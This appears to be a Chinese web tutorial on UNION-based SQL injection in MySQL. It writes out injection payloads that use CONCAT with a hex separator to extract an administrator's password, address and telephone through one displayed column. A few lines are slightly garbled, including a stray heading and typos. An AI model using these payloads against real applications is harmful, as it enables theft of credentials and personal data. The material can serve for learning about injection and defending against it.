Mysql数据库使⽤concat函数执⾏SQL注⼊查询
SQL注⼊语句有时候会使⽤替换查询技术,就是让原有的查询语句查不到结果出错,⽽让⾃⼰构造的查询语句执⾏,并把执⾏结果代替原有查询语句查询结果显⽰出来。
例如:原本查询语句是
复制代码代码如下:
select username,email,content from test_table where user_id=uid;
其中uid,是⽤户输⼊的。正常显⽰结果会出现⽤户名,⽤户邮箱,⽤户留⾔内容。但是如果uid过滤不严,我们可以构造如下SQL语句来获得任意数据表信息。
复制代码代码如下:
uid=-1 union select username ,password,content from test_talbe where user_id=管理员id;
实际执⾏就是
trunc函数mysql
复制代码代码如下:
select username,email,content from test_table where user_id=-1 union select username ,password,content from test_talbe where user_id=管理员id;
其中显⽰正常⽤户emai的地⽅,变成了显⽰管理员的密码了。
但是,往往事情并不是这么简单,⾸先要到漏洞,其次构造这种语句时候要考虑各个字段的类型,让int或samllint类型的字段显⽰varchar显然不合适。最后就是本⽂要说的。
如果出现问题的SQL语句只有⼀个或两个字段怎么办,我们想知道很多东西,⼀两个字段太少了,远远不能满⾜我们的需要。那么我们可以使⽤concat函数。
concat函数本来是这样⽤的SELECT CONCAT('My', 'S', 'QL');执⾏结果是'MySQL'。也就是连接作⽤的。我们利⽤它来为我们服务,
复制代码代码如下:
uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理员id;
这个语句实际查询了六个字段,但是显⽰的时候,把password,sex,address,telephone等字段合在⼀起,显⽰在原本应该显⽰email的地⽅。
更好的⽅法:中间⽤分隔符分开:
复制代码代码如下:
uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理员id;
其中0×3a是“:”的⼗六进制形式。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。